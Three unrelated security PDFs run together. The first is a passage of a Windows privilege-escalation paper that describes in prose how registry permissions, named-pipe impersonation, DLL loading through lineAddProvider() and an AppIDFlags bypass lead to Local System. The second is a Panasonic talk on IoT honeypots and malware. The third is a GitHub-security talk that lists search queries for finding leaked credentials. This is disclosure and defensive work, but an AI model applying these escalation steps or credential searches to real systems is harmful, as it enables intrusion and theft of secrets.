functionality logs errors, debug messages, etc. related to the services. Services using this functionality automatically monitor the registry key for changes so if there is a change all the key values are automatically read again by the services. Let's see now why I though the permissions issue was exploitable and I knew how to exploit it. If you look at the registry values under “HKLM\Software\Microsoft\Tracing\tapisrv” you will find out one value named “FileDirectory” that has a default value of “%windir%\tracing”, that -7- www.argeniss.com Argeniss – Information Security & Software value is a Windows folder name that is probably read by services and then used to access files. I located and opened the folder with Windows Explorer but it was empty. Looking at the items displayed by ProcMon I saw that there weren't items showing access to that folder. Then with a new look at the key values I saw “EnableFileTracing” value which had a value of “0”, the value name looked self describing, I had to change that value to “1” and look if something happened, I did it but nothing happened at that time. I thought, let's try restarting the service, I stopped it and suddenly a file named tapisrv.log was created in “c:\windows\tracing” folder. Looking at ProcMon I could see that TapiSrv was accessing (writing) that file after reading the folder name from the registry key. I had to be sure, that the folder value was indeed read from that registry key so I changed “FileDirectory” value to a new value and then started the service. Finally I was right, TapiSrv tried to access a folder named as the new registry value I had set. Those who know about Windows local exploitation should already be familiar on how to exploit this issue. It's pretty simple but we will need a special privilege in order to exploit this issue, we will need to be able to impersonate. Impersonation privilege is held by most Windows services and some regular processes. Some popular accounts that have this privilege by default are IIS application pool accounts used to run IIS worker processes. These processes are used to run ASP .NET or classic ASP applications, they are a good target for attacks, if you can upload web pages then you can compromise the server. The attack is simple, it consists of using impersonation over named pipes [2]. Any user with impersonation privileges can build an exploit that will create and listen on a named pipe waiting for a connection (for TapiSrv the named pipe would be \\.\pipe\x\tapisrv.log). Then set the “FileDirectory” registry value to the name of the already created named pipe without the file name and using a UNC path (\\localhost\pipe\x), finally setting the “EnableFileTracing” value to “1”. After that, the service will read the registry values set by the exploit and connect to the named pipe allowing the exploit to impersonate the user that the exploited service is running under. If the impersonated user has more privileges than the user running the exploit then elevation of privileges is successful. As detailed before, services using tracing functionality monitor for changes to their associated registry subkey under “HKLM\Software\Microsoft\Tracing” key, the service process will immediately read the subkey values after the exploit changes them. While exploiting TapiSrv to elevate privileges was possible, the exploit would have to do many steps in order to get a Local System impersonation token to fully compromise the system. I preferred to find a service that ran under Local System account so the exploit could directly impersonate this account. Looking at the names of the subkeys under “HKLM\Software\Microsoft\Tracing” registry key I found a subkey named IpHlpSvc, this name seemed to reference IP Helper service. Using ProcExp I looked at the properties of the processes in the “Services” tab until I found the IP Helper service running under a svchost.exe process. This process was running as Local System account being the perfect candidate for exploitation. After doing some tests I could come up with a reliable exploit that works really well and can be used on different Windows services including IIS 7 & 7.5, SQL Server, etc. running on Win2k8 R1 and R2, Vista and Win7. I continued researching TapiSrv just in case there were more issues. I found that dialer.exe tool interacted with TapiSrv, some actions were recorded by ProcMon when running dialer.exe. TapiSrv was accessing “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony” registry key, again after a quick look at the permissions I found a new issue, Network Service account had full control over that key. That was clearly an issue since it broke per process SID service protection allowing any process running under Network Service account to perform any actions on that registry key. But an issue is no more than a simple bug if you can't exploit it. Looking at the subkeys I found an interesting one, -8- www.argeniss.com Argeniss – Information Security & Software “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony\Providers” and under this subkey some interesting values named “ProviderFileNameX” (where the “X” was a number starting at 0) that looked as file names. I looked at ProcMon and I saw that after Tapisrv read these subkey values it loaded files with those names as Windows DLLs, this was really interesting, the issue just went from simple bug to a vulnerability. Since the key allowed any process running under Network Service account to perform any action, it was possible to set one of these registry values to an arbitrary DLL to be loaded by TapiSrv in order to run arbitrary code. TapiSrv runs under Network Service account but in case you don't remember, it had a process handle with DuplicateHandle privileges of a process running as Local System account. Once you get an arbitrary DLL inside TapiSrv process, the DLL code can get that handle and duplicate a Local System impersonation token handle from the privileged process and fully compromise the system. I started to think how to build an exploit for that vulnerability. It wasn't straight forward this time since it was needed to introduce a DLL in the system, then change the registry values and finally trigger the functionality that will load the DLL. I went to MSDN to check for TAPI APIs because I needed to find a way to interact with TapiSrv to get an arbitrary DLL loaded. I remembered that TapiSrv read the registry values and loaded the DLLs when dialer.exe was ran, probably dialer.exe was calling some TAPI APIs. Looking at MSDN an API got my attention, lineAddProvider(), the first parameter was named lpszProviderFilename. The parameter name looked familiar and it was similar to the subkey values name, I really had to try that API. ProcMon was still monitoring Tapisrv, I built a simple program that called the API and ran it. I could see in ProcMon that Tapisrv was trying to access a file named the same as the first API parameter I used in the API call, that was amazing. Building an exploit for this issue was pretty simple, just creating a DLL that when loaded it will duplicate a Local System impersonation token handle obtained from the privileged process that TapiSrv had its handle. When testing lineAddProvider() API, first I ran the test program as a low privileged user and it didn't work, it would have been nice if it had worked but it didn't. Then I ran it as an administrator and it worked, but I needed to try to run it under Network Service account. I tried that and it worked which made sense since that account could modify the registry key were the DLL information was saved. But then I tried to run it under Local Service account and it worked too, that was excellent, that meant it was possible to elevate privileges from any process running under Local Service account too. There was still something more I had to try, the same tests on Win2k3. I checked for the issue in Win2k3 but the registry key had proper permissions, not Network Service access since Tapisrv runs as Local System on Win2k3. But on WinXP there was an issue, Network Service and Local Service accounts had full control on the registry key, any process running under those accounts could easily elevates privileges since TapiSrv runs as Local System in WinXP. When testing lineAddProvider() on Win2k3, I got exactly the same results as in Win7. Exploitation was easier on Win2k3 since TapiSrv runs under Local System. Just calling lineAddProvider() passing a DLL and the DLL will be loaded and ran under Local System account by TapiSrv. Finally in WinXP I got the same results as in Win2k3. It's worth to mention that I also ran tests on Win2k8 R1 & R2 with same results as Win7, which makes sense since Win2k8 R2 has the same technology as Win7 and it was based on Win2k8 R1, these operating systems are similar. When I was running dialer.exe I noticed on ProcExp that Tapisrv process got a dialer.exe process handle with DuplicateHandle privileges and the same happened when running my test program that called lineAddProvider(). I realized that Tapisrv always got a process handle from the processes that interacted with it, calling the APIs, etc. -9- www.argeniss.com Argeniss – Information Security & Software Since in order to be able to elevate privileges on Windows Vista and newer versions it’s needed the privileged process handle inside Tapisrv process I started to look for the service name from which TapiSrv got the privileged process handle. I knew the process was on one of the svchost.exe processes running as Local System account but that process had running many services inside. I had to find the right service that interacted with Tapisrv. I searched for the svchost.exe process with ProcExp which I could easily identify it since I got the process id from the information displayed by ProcExp about the process handle inside Tapisrv process. In the “Services” tab in the svchost.exe process properties a lot of services were displayed. There were two options for finding the right service, stopping the services one by one until the process handle would disappear from TapiSrv or try to guess which service could be the one based on the name, intuition, etc. Looking at the services names there was one called Remote Access Connection Manager (RasMan), let’s see: remote, connection, access? That should ring some bells. This could be the one I’m looking for, I thought, so I stopped it and the svchost.exe process handle disappeared from TapiSrv process, it was the one. I checked RasMan service details with Windows Services tool (Administrative Tools->Services), I saw that it has dependencies with Telephony service (TapiSrv) and that the service startup type was manual. This last option was the cause that sometimes the svchost.exe process handle wasn't present in TapiSrv in some of my tests. If RasMas was not started then TapiSrv didn't have the process handle. Luckily any user can start RasMan service if it isn’t running, allowing elevation of privileges to be always successful since we can force the process handle of RasMan to be always present inside TapiSrv. By just looking at Telephony service I had found so far: 1− Win2k8 R1 & R2, Win7 and Vista Elevation of privileges by any user with impersonation rights by exploiting weak permissions on Service Tracing functionality registry keys. 2− Win2k3, WinXP, Win2k8 R1 & R2, Win7 and Vista Elevation of privileges by Network and Local Service accounts by calling lineAddProvider() API. These issues can be exploited on Windows services such as IIS 6, 7 & 7.5 and SQL Server. On IIS an attacker only needs to upload a .NET web page with exploit code and then run it to complete compromise the server. On SQL Server an attacker will need database administrative permissions and run the exploit by executing xp_cmdshell or sp_addextendedproc stored procedures allowing the attacker to elevate privileges and run code under Local System account. It's important to note that these issues can also be used on post exploitation scenarios, where an attacker is exploiting a Windows service that has impersonation privileges but it's not running under Local System account. In this case exploitation is limited since attacker will be trapped in that service not being able to access other processes, resources, etc. due to new Windows protections. Abusing the issues detailed in this paper will allow the attacker to elevate privileges and run code under Local System account bypassing all the new Windows protections. See Chimichurri exploit available with this paper. Bypassing Microsoft fix for Token Kidnapping on Windows 2003 and XP On my previous Token Kidnapping research I had found how to get a Local System impersonation token from WMI processes running under Network or Local Service accounts. These WMI processes didn’t have any protection in place to prevent other processes running under the same accounts to access them. This allowed any process running under Network or Local Service accounts to get a Local System impersonation token and elevate privileges. Microsoft fixed this issue by properly protecting WMI processes don’t allowing other process running under the same account to access them. -10- www.argeniss.com Argeniss – Information Security & Software While researching the TapiSrv issues with ProcMon on Win2k3 I noticed some strange behavior. There were some processes accessing or trying to access the same subkeys and values under HKEY_CLASSES_ROOT and HKEY_USERS\<UserSID>_Classes registry keys, getting sometimes “NAME NOT FOUND” when trying to access subkyes and values under this last key. These subkeys and values were always found under HKEY_CLASSES_ROOT key but not always under HKEY_USERS\<UserSID>_Classes key. I though that this behavior was because sometimes an application can be installed for only one user and not for all users, if this was the case then the information would be on HKEY_USERS\<UserSID>_Classes key and not on HKEY_CLASSES_ROOT key. But that was just a guess. I knew that HKEY_CLASSES_ROOT key is mostly used to save information about OLE/COM/DCOM/ActiveX objects, processes read from that key information needed to instantiate objects. I looked at the available HKEY_USERS\<UserSID>_Classes keys and I found that the keys for Network and Local Service accounts, HKEY_USERS\S-1-5-20_Classes and HKEY_USERS\S-1-5-19_Classes respectively, didn’t have any subkeys nor values. This was weird. One of the process that tried to read values from those registry keys, was svchost.exe running DCOM Server Process Launcher service (DcomLaunch), this process runs under Local System account. I identified that before a WMI process was ran by DcomLaunch service, this service tried to read those registry keys. I saw a possible issue there since HKEY_CLASSES_ROOT key can only be modified by highly privileged accounts such Administrators and Local System, but HKEY_USERS\<UserSID>_Classes key can also be modified by the account to which the key belongs to. It’s worth to mention that HKEY_USERS\S-1-5-20_Classes and HKEY_USERS\S-1- 5-19_Classes can be modified by Network and Local Service accounts respectively. These less privileged accounts, Network and Local Service, can modify values that then could be read from a high privileged process, in this case DcomLaunch. If DcomLaunch use those values read from the mentioned registry keys to perform some actions then that could lead to privilege elevation, so there was a possible issue. I thought that in order to confirm and exploit this possible issue I would have to create the same subkeys and values that were read from HKEY_CLASSES_ROOT key under HKEY_USERS\S-1-5-20_Classes key or HKEY_USERS\S-1-5-19_Classes key, depending which of them was being read by DcomLaunch process. Then if these values were used instead of the ones read from HKEY_CLASSES_ROOT key I could be able to confirm the issue and exploit it. I had a test program that launched a WMI process under Network Service account so I started to run tests creating subkeys and values under HKEY_USERS\S-1-5-20_Classes key. I researched what values were read by DcomLaunch from HKEY_CLASSES_ROOT key and what those values were used for. I found that one of the values read was the default value under HKEY_CLASSES_ROOT\CLSID\{1F87137D-0E7C-44d5-8C73-4EFFB68962F2}\LocalServer32 subkey, which was “%systemroot%\system32\wbem\wmiprvse.exe –secured”. wmiprvse.exe is the WMI executable file name, I supposed that this value was used to determine what to run when WMI was invoked. I thought if I remove the –secured argument then maybe WMI process won’t be ran protected and I will be able to exploit it again as I did in my previous Token Kidnapping research. I created HKEY_USERS\S-1-5-20_Classes\CLSID\{1F87137D- 0E7C-44d5-8C73-4EFFB68962F2}\LocalServer32 subkey and set the default value removing “- secured” argument. ProcMon showed that the new created value was read by DcomLaunch but no luck, after removing that argument the WMI process was also ran protected. Another value that was accessed was AppIDFlags under HKEY_CLASSES_ROOT\AppID\ {1F87137D-0E7C-44d5-8C73-4EFFB68962F2} subkey, the value was 0x2. I wondered what that value could be used for, searching on MSDN I found some information [3]. 0x2 value is used to secure COM servers, this started to look interesting. I though let’s set this value to 0x0 to see what happens. I created AppIDFlags value under HKEY_USERS\S-1-5-20_Classes\ AppID\{1F87137D-0E7C-44d5-8C73-4EFFB68962F2} subkey and set it to 0x0. After setting the value to 0x0 I ran some tests and my initial thoughts were confirmed, it was an issue, I could ran the WMI process unprotected and exploit it as before the Microsoft patch. -11- www.argeniss.com Argeniss – Information Security & Software Finally I realized that adding AppIDFlags value and setting it to 0x2 was the fix Microsoft introduced to patch the old issue on WMI processes [4] and that the new protection could be bypassed by exploiting this new issue. The described issue only affects Windows 2003 and XP since HKEY_USERS\S-1-5-20_Classes and HKEY_USERS\S-1-5-19_Classes keys don’t exist anymore on newer Windows versions. See Churraskito exploit available with this paper. Finding more issues While I was researching the already described issues, I saw and realized about some interesting things. There is clearly a design mistake sharing HKEY_USERS\S-1-5-20 and HKEY_USERS\S-1-5-19 keys between all the processes that run under Network and Local Service accounts. Those registry keys have full control permissions for Network and Local Service accounts respectively, allowing any process running under those accounts to modify those registry keys values at will. For instance a process “X” running under Network Service account can modify some file path value with a named pipe while listen on it. Then the process “X” can get an impersonation token when another process “Y” running under Network Service account reads that registry value and then tries to access the named pipe. This completely breaks almost all new services protections. It allows access from process “X” to process “Y” if both run under the same account because once process “X” gets the impersonation token it can be used to access process “Y”. I also found a couple of minor issues related to high privileged process not dropping privileges before trying to access files. HKEY_USERS\UserSID registry key has full control permissions for the user to which the key belongs to, meaning that the user can set arbitrary registry values. Consent.exe (Consent UI for administrative applications) is the program that shows the dialog window when you choose to run a program as Administrator in newer Windows versions. This program runs under Local System account and it reads HKEY_USERS\UserSID\AppEvents\Schemes\Apps\.Default\WindowsUAC registry key values. These values consist of .WAV file paths that the program uses for playing the sound specified by the user for UAC events. Consent.exe doesn’t drop privileges when accessing the .wav file allowing any user with impersonation privileges to impersonate Local System account by using the already described named pipe trick. Windows Defender service has a similar problem as Consent.exe. Windows Defender process reads HKEY_USERS\UserSID\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folder key to get information about different user related folders such as Documents and Internet related folders. Windows Defender service runs under Local System account and it also doesn’t drop privileges allowing any user with impersonation privileges to impersonate Local System account by using the already described named pipe trick. -12- www.argeniss.com Argeniss – Information Security & Software Preventing exploitation You must avoid running processes under Network Service and Local Service account when possible, try running them as a regular user with the required privileges. Examples of processes that commonly run under those accounts and are exposed to attacks are IIS worker processes and SQL Server service process. On IIS don't run ASP .NET web application in full trust, this won't allow web applications to impersonate. On Windows 7, Vista and 2008 R1 & R2 remove Users group from HKLM\Software\Microsoft\Tracing registry key permissions. This will only prevent exploitation from regular users with impersonation privileges but won't protect against elevation of privileges from Network and Local Service accounts. If you already configured IIS worker processes and SQL Server service process to run under regular user accounts then you will be safer. You must disable Telephony service (TapiSrv) if not used, this will prevent elevation of privileges by loading an arbitrary Dll using lineAddProvider() API on all Windows versions or by editing HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony\Providers registry key on Windows 7, Vista, 2008 R1 & R2. -13- www.argeniss.com Argeniss – Information Security & Software Conclusion Little and insignificant issues can lead to find more interesting issues. While Windows operating systems are becoming the most secure operating systems on earth there are still some issues that need attention. It's possible to elevate privileges on all Microsoft Windows versions, the only requirement is to be able to impersonate by the user running the exploit. On Windows Vista, Windows 2008 R1 & R2 and Windows 7 any user having impersonation privileges can elevate privileges and completely compromise the systems bypassing almost all new Windows protections. On Windows XP and Windows 2003, Network and Local Service accounts can elevate privileges and completely compromise the systems. Some of the applications that are more susceptible to be exploited are Microsoft Internet Information Services 6, 7 & 7.5 and Microsoft SQL Server. -14- www.argeniss.com Argeniss – Information Security & Software Special Thanks To Mark Russinovich author of Process Explorer and other great Sysinternals tools, without his great tools I wouldn't have been able to find most of the vulnerabilities I have found on Windows and other software. -15- www.argeniss.com Argeniss – Information Security & Software About the author Cesar Cerrudo is the founder and CEO of Argeniss, a security consultancy and software firm based in Argentina. He is a security researcher and consultant specializing in application security. Regarded as a leading application security researcher, Cesar is credited with discovering and helping to eliminate dozens of vulnerabilities in leading applications including Microsoft SQL Server, Oracle Database Server, IBM DB2, Microsoft BizTalk Server, Microsoft Commerce Server, Microsoft Windows, Yahoo! Messenger, etc. Cesar has authored several white papers on database, application security, attacks and exploitation techniques and he has been invited to present at a variety of companies and conferences including Microsoft, Black Hat, Bellua, CanSecWest, EuSecWest, WebSec, HITB, EkoParty, H2HC, FRHACK, Microsoft BlueHat, etc. Cesar collaborates with and is regularly quoted in print and online publications such as eWeek, ComputerWorld and other leading journals. -16- www.argeniss.com Argeniss – Information Security & Software References [1] Token Kidnapping http://www.argeniss.com/research/TokenKidnapping.pdf [2] Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit http://www.blakewatts.com/namedpipepaper.html [3] AppIDFlags http://msdn.microsoft.com/en-us/library/bb427411(VS.85).aspx [4] Vulnerabilities in Windows Could Allow Elevation of Privilege http://www.microsoft.com/technet/security/bulletin/MS09-012.mspx [5] Exploiting design flaws in the Win32 API for privilege escalation http://web.archive.org/web/20060904080018/http://security.tombom.co.uk/shatter.html -17- www.argeniss.com Argeniss – Information Security & Software About Argeniss Argeniss is a small but very dynamic and creative company created in 2005. Argeniss offers information security consulting and software development services in an outsourcing model. More than 5 years of experience and satisfied customers prove Argeniss success. Contact us Velez Sarsfield 736 PA Parana, Entre Rios Argentina E-mail: info.at.argeniss.dot.com Tel/Fax: +54 343 4316113 -18- www.argeniss.com	pdf
First step in the quest for manufacturing cyber-resilient IoT devices Panasonic Corporation Jun Sato Chih-Hsiang HITCON 2020@TAIPEI About me ・佐藤淳・Jun Sato ・Past experience in system development and operation ・Joined Panasonic in 2019 and involved in IoT security ・CISSP, GCFA Background サイバーセキュリティ戦略本部サイバーセキュリティ２０１９（別添５サイバーセキュリティ関連データ集 NICTER観測結果より） https://www.nisc.go.jp/active/kihon/pdf/cs2019.pdf Number of Attacks Observed by NICTER Darknet Sensors Breakdown of Observed Attacks by NICTER Darknet Sensors (2018) Number of cyber attacks continue to increase About half of observed attacks targeting IoT devices No. Packets (ten billion) Other Attacks targeting IoT devices (Web Camera, Routers, etc.) Cybersecurity Research Institute - Cyber Security 2019 Appending 5 - Cyber Security Related Data - NICTER Observation Results Increasing attacks targeting IoT Sudden Increase in IoT Malware “New trends in the world of IoT threats”, Kaspersky Lab, September 18, 2018 https://securelist.com/new-trends-in-the-world-of-iot-threats/87991/ The number of IoT malware has more than tripled from 2017 in just the first half of 2018 https://www.securityweek.com/hide-%E2%80%98n-seek-botnet-targets-smart-homes https://www.ithome.com.tw/news/132271 https://arstechnica.com/information-technology/2018/05/hackers-infect-500000- consumer-routers-all-over-the-world-with-malware/?amp=1 https://www.securityweek.com/over-500000-iot-devices-vulnerable-mirai-botnet https://www.ithome.com.tw/news/123708 https://www.ithome.com.tw/news/129449 Number of IoT malware infections rising rapidly, with no end in sight IoT Malware Wreaking Havoc Infect Spread Cyber Attacks Infect, Spread and leverage for use in attacks Victims unknowingly become attackers IoT Malware Infections and Associated Damages Regulations by Government ・2019 Order of the Ministry of Internal Affairs and Communications No. 12 ・Partial revision to “Telecommunications Business Act” and “Act on the National Institute of Information and Communications Technology, Independent Administrative Agency” ・2017 Notification of the Ministry of Economy, Trade and Industry No. 19 ・Oregon HB 2395 amending ORS 646.607 ・Cyber Shield Act of 2019 (S. 2664) ・SB-327 Information Privacy: Connected Devices ・IoT Cybersecurity Improvement Act of 2019 ・Executive Order on Securing the Information and Communications Technology and Services Supply Chain (Executive Order 13873) ・EU Sales of Goods Directive (SGD) ・EU Digital Content Directive (DCD) ・UK legislation for consumer IoT devices by design ・Germany IT security law 2.0 ・Finland Cybersecurity Label ・Cybersecurity Law of the People's Republic of China - 中华人民共和国网络安全法・Public Comments on the Provisions on the Administration of Cybersecurity Vulnerabilities - 网络安全漏洞管理规定 (征求意见稿) ・Data Security Law of the People’s Republic of China - 中华人民共和国数据安全法 United States Europe People's Republic of China Japan New laws being enacted globally govern IoT security Users Retail Security Organizations / Researchers Governments Parts Supplier Security for shipped products Product updates after shipment Procurement of secure parts / components (Chips, software, etc.) Discovery of vulnerabilities Development / selling security products Alerts to users Guidance to Manufacturers Proper explanation and initial configuration of products Proper configuration and usage of products Manufac turer Expectations for "Manufacturers to ensure product security" Existing Panasonic Activities on Product Security As A Corporate Risk https://www.panasonic.com/global/corporate/sustainability/management/riskmanagement.html https://www.panasonic.com/global/corporate/sustainability/pdf/sdb2019e.pdf Cyberattacks are a major corporate risk in Panasonic 1 2 Essential knowledge (Awareness / Technical) Minimize Risk Incident Response Product Security Supporting Panasonic Brand Threat Analysis Secure Design Secure Coding Static Analysis Vulnerability Testing (Security Testing) Incident Response Minimize Risk Incident Containment Plan Shipment Discard Design Implement Test In-Use Product Lifecycle Panasonic Product Security Activities Cyber Security in Panasonic IT Security Information System Web-site, PC, Server, Network, Data and Application CSIRT Info. Systems related department Product Security Product Product and Services provided by Panasonic PSIRT Product Security Center Manufacturing System Security Factory, Manufacturing Manufacturing system and Production Machine in Panasonic FSIRT Manufacturing related department Cyber Security Activities in Panasonic Planning Design Implement Verity(Test) On market Incident Coordinators FIRST, IPA(JP), CERT(US), JPCERT/CC(JP) Panasonic PSIRT Security Institution ISPs, Vendors, Academics, Individuals Panasonic AP-IRT LS-IRT IS-IRT CNS-IRT AM-IRT Incident Response Framework at Panasonic Panasonic IoT Threat Intelligence Project Challenges in Product Security Requires trigger • Incident response requires trigger (internal/external notification) • Not relying on external organization to collect threat information Proactively analyze / utilize threat information New threat New vulnerability New threat New vulnerability More secure products Collect malware targeting home electronics Through the platform, goal is to strengthen overall IoT security Analysis of malware characteristics IoT Threats Collection IoT Threats Analysis IoT Device Protection Panasonic IoT Threat Intelligence Platform Concept Real time collection using IoT home electronics Ability to collect attacks against products in development Increase global coverage of observation points On-going On-going On-going IoT Threat Collection - Malware targeting home electronics IoT Malware Analysis Results Statistical Analysis Collect Malware (Honeypot) Process this flow automatically Behavior Analysis (IoT Sandbox) Collect Malware Targeting IoT Home Electronics Behavior analysis specialized for IoT malware Auto-processing from collection to analysis/statistics On-going On-going On-going IoT Threat Analysis – Analyze Characteristics of IoT Malware IoT Device Protection – Feedback to Product Developer • Categorize attack against product in development with standard framework (e.g. MITRE ATT&CK) • Analyze targeted vulnerabilities to assess countermeasures for products • Product specific characteristics  Vulnerability  Impact Collect threat (Honeypot) Threat Analysis (Statics app, elasticsearch) Malware Analysis Share attack overview / IoT malware analysis to product developer On-going Risk analysis for products in development Coming Soon ※The home appliance was not infected and there were no damages Attacks Collected 603,589,498 Malware Collected 56,426 IoT Malware Collected 12,634 Home electronics with malicious files placed※ 2 types IoT Threat Collection IoT Threat Analysis (Malaware Analysis) Of the top 10 destination IP addresses, besides DNS (8.8.8.8), all are malware distribution sites (malicious sites) Top 3 destination countries are USA, China, Japan (Followed by Germany, England, S. Korea, S. Africa, Brazil , France, Egypt.) Accomplishments – November 2017 – Jun 2020 ・張智翔・Jimmy ・Panasonic Cyber Security Lab ・Past experience in software / system development ・Joined Panasonic in 2018 and involved in IoT security About me Analysis example of Collected Threat Information • Peak in Dec 2019 • Peak in June 2020 • Total attack number decreasing since Feb, 2020 2019/12 Attack trend 2020/06 • Peak in Dec 2019 • Remote attacks against Microsoft SQL, targeting servers with weak password • Peak in June 2020 • UPnP vulnerability “Call Stranger” was disclosed 2019/12 MsSQL 2020/06 UPnP Top 10 Attacked Protocols Decrease from 600 mil to 0.25 mil • Attacks to MSSQL dropped in May • Attacks to UPnP from China and US soared in June. • telnet, ssh, UPnP are targets constantly in the Top5 2020/4 2020/5 2020/6 Top 5 Attacked Protocols • Peak in Dec 2019 • Attack Source by Country: China and Taiwan • Peak in June 2020 • Attack Source by Country: China and the USA Top 10 Attack Sources by Country • China is constantly Top1 since this April. • Observed many attacks against 1900 (UPnP), 1433 (MSSQL). Top 5 Attack Sources by Country 2020/4 2020/5 2020/6 • Devices being attacked have ports open such as Web, UPnP, SMB, etc. #2 Home camera #4 Intercom #3 BD recoder #1 Security camera 0 50 100 150 200 250 300 2018Q1 2018Q2 2018Q3 2018Q4 2019Q1 2019Q2 2019Q3 2019Q4 2020Q1 Attacks [K] Attack Trend Against Physical Honeypots Dehumidifier Refrigerator Home camera Intercom BD recoder TV Wash machine Security camera Air condinctioner Attack trends against Home IoT Appliances • Top 2 China, the USA • Almost all attacks are against 1900 (UPnP), 80 (http) • Observed a lot of “M-SEARCH” messages. Probably: - Search for vulnerable devices to use in SSDP reflection attacks Attacks against security cameras Trends in Collected IoT Malware • 66% Known malware ; 34 % Unknown malware (using VirusTotal) • Between a couple to 150-170 samples collected daily • No direct correlation between number of attacks and number of collected malware samples • Likely due to most attack attempts being scans Analysis of Collected Malware ・Most Linux based malware target PC/Servers (i386 and amd64) ・30% of total attacks against IoT architecture ・ARM and MIPS are the main targets for IoT malware ・Most IoT malware collected are gafgyt and mirai family Malware was placed in a shared folder that did not have any authentication ・5 malware samples placed ・CVE-2017-7494(SambaCry - Attack was not successful) ・4 suspicious files ・1 malware sample ・W32/Tenga Observed on June, 2018 Observed between October – December, 2018 Observed between January – March, 2019 Attacked Home IoT Appliances -Suspicious Files- Listing of shared folders Upload malware Malware exploits CVE-2017-7494 (SambaCry) Attempts to load malware onto Samba server Fails to specify full path for malware. Attack attempt unsuccessful. Delete malware Not deleted entirely, some parts remain Attacked Home IoT Appliances -Suspicious Files- IoT Malware Analysis (Case 1) - EchoBot  Mirai variant  After intrusion, process name is disguised  Scanner depends on environment  Only vulnerabilities scanner (1 CPU)  Vulnerabilities scanners and Telnet/SSH scanner (More than 1 CPU)  Targets vulnerability (command injection) in IoT device (Observed between April - June 2019） IoT Malware Analysis (Case 1) - EchoBot  Encrypts password list used during Telnet scan  Original Key “DEADBEEF”  XOR Key ”DFDAACFD”  C&C Server  IP addresses from China  DoS Functions  Typical mirai DDoS functions  ARM, MIPS, PPC, SH4, SPC, x86, etc. (Observed between June - July 2019） IoT Malware Analysis (Case 2) - LiquorBot  Mirai variant  Rewritten in golang  Scan vulnerabilities for many IoT devices  Linksys  Dlink  …  SSH scanner  Brute force attack for SSH  Recognized as nonmalicious by VirusTotal  Coin Miner functions  MIPS (Observed between Jan - Feb 2020） Tsunami variant Packed by UPX Infection through telnet  Drop telnet connection after infection Mapping table for encryption/decryption Support command to deploy bot as C2  Deploy “ngircd” IRC server ARM IoT Malware Analysis (Case 3) - Sandbot (Observed between July - September 2019） Next Steps Future Vision - Strengthen B2C Security Collaborate with industry to see if global trends match attacks against our products Categorize attack against product in development with standard framework (e.g. MITRE ATT&CK, etc.) Proactively Collect / Analyze incoming threats The goal is to strengthen overall IoT security	pdf
Github Security n\|u - The Open security community Chennai Meet Presenter : Vinothkumar Date : 27/04/2019 About Me Application security engineer @ Freshworks, Inc. Blogger @ https://tutorgeeks.blogspot.com Tweet @vinothpkumar Github @ https://github.com/tutorgeeks Agenda for the session 1. What is Github 2. Using Github / Github Gist search for bug bounty hunting 3. Securing Wiki 4. Securing Forked repos 5. Security Audit log 6. Post commit security check using Gitrob 7. Pre commit security check using Git Secrets 8. Github security best practises 1.What is Github ● GitHub is a code hosting platform for collaboration and version control. ● GitHub lets you (and others) work together on projects. ● 28 million users and 57 million repositories making it the largest host of source code in the world. ● Parent company : Microsoft (2018–present) ● Written in Ruby Git Cheat Sheet 2.Using Github search for bug bounty hunting Github is a great place to look for credentials and private API keys. Here’s a list of a few items that you could use to find information about your target. ● “example.com” API_key ● “example.com” secret_key ● “example.com” aws_key ● “example.com” Password ● “example.com” FTP ● “example.com” login ● “example.com” github_token PayTM “paytm.com “ “password” Bounty awarded : Rs.21200 Status : Fixed https://twitter.com/s4thi5h_infosec/status/1067004873663639552 Snapchat Bounty hunter Th3G3nt3lman was awarded $15,000 after discovering and reporting a sensitive auth token that was accidentally posted by a Snapchat software engineer. https://medium.com/@cosmobugbounty/bounty-of-the-week-15-000-snapchat-leak-af38f882d3ac Search Github Gist [ Mostly Ignored ] GitHub Gist is used instantly share code, notes, and snippets. ● Helps to create public and secret gist. ● Secret gist is only protected by a token. Use with caution while creating secret gist since developer could paste the secret gist public along with the token. site:gist.github.com “companyname” Zomato - Mandate 2FA ● Zomato’s Github org was compromised using the leaked password of 000webhost. ● Attacker used the credential to login into Zomato Github org account [ 2FA is not implemented at the time of the hack] ● Attacker looked at the code base and found a RCE vulnerability and exploited it. ● Zomato acknowledged the fact that they could’ve easily avoided this issue if they had implemented 2FA. ● Avoid using the same credential in all websites. https://www.zomato.com/blog/security-update-what-really-happened-and-what 3.Securing Wiki GitHub Org accounts may contain world-editable wiki pages : https://www.smeegesec.com/2019/03/auditing-github-repo-wikis-for-fun-and.html Python script to check GitHub accounts for world-editable wiki pages : https://github.com/SmeegeSec/GitHub-Wiki-Auditor 4.Securing Forked repos A fork is a copy of a repository. Forking a repository allows you to freely experiment with changes without affecting the original project. ● Forked repositories are public by default. ● Watch out for sensitive PII in forked repo in commits / Pull request. Instead of forking the repo, create a private repo with the forked repo contents. 5.Security Audit log ● The audit log allows organization admins to quickly review the actions performed by members of your organization. It includes details such as who performed the action, what the action was, and when it was performed. ● Logs are useful for debugging and internal and external compliance. https://help.github.com/en/articles/reviewing-the-audit-log-for-your-organization 6.Gitrob [ post commit checks ] ● Reconnaissance tool for GitHub organizations ● It helps to find potentially sensitive files pushed to public repositories on Github. ● Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files. ● The findings will be presented through a web interface for easy browsing and analysis. https://github.com/michenriksen/gitrob Demo: 7.Git Secrets [ pre commit checks ] Prevents you from committing secrets and credentials into git repositories ● git secrets --scan [-r\|--recursive] [--cached] [--no-index] [--untracked] [<files>...] ● git secrets --scan-history ● git secrets --install [-f\|--force] [<target-directory>] ● git secrets --list [--global] ● git secrets --add [-a\|--allowed] [-l\|--literal] [--global] <pattern> ● git secrets --add-provider [--global] <command> [arguments...] ● git secrets --register-aws [--global] ● git secrets --aws-provider [<credentials-file>] https://github.com/awslabs/git-secrets Demo: 8.Github security best practises 1. Never store credentials as code/config in GitHub. 2. Remove Sensitive data in your files and GitHub history 3. Tightly Control Access 4. Add a SECURITY.md file 5. Validate your GitHub Applications Carefully 6. Add Security Testing to PRs 7. Use the Right GitHub Offering for your Security Needs 8. Rotate SSH keys and Personal Access Tokens 9. Create New Projects with Security in Mind 10. Audit the Code/apps you use into GitHub Reference: 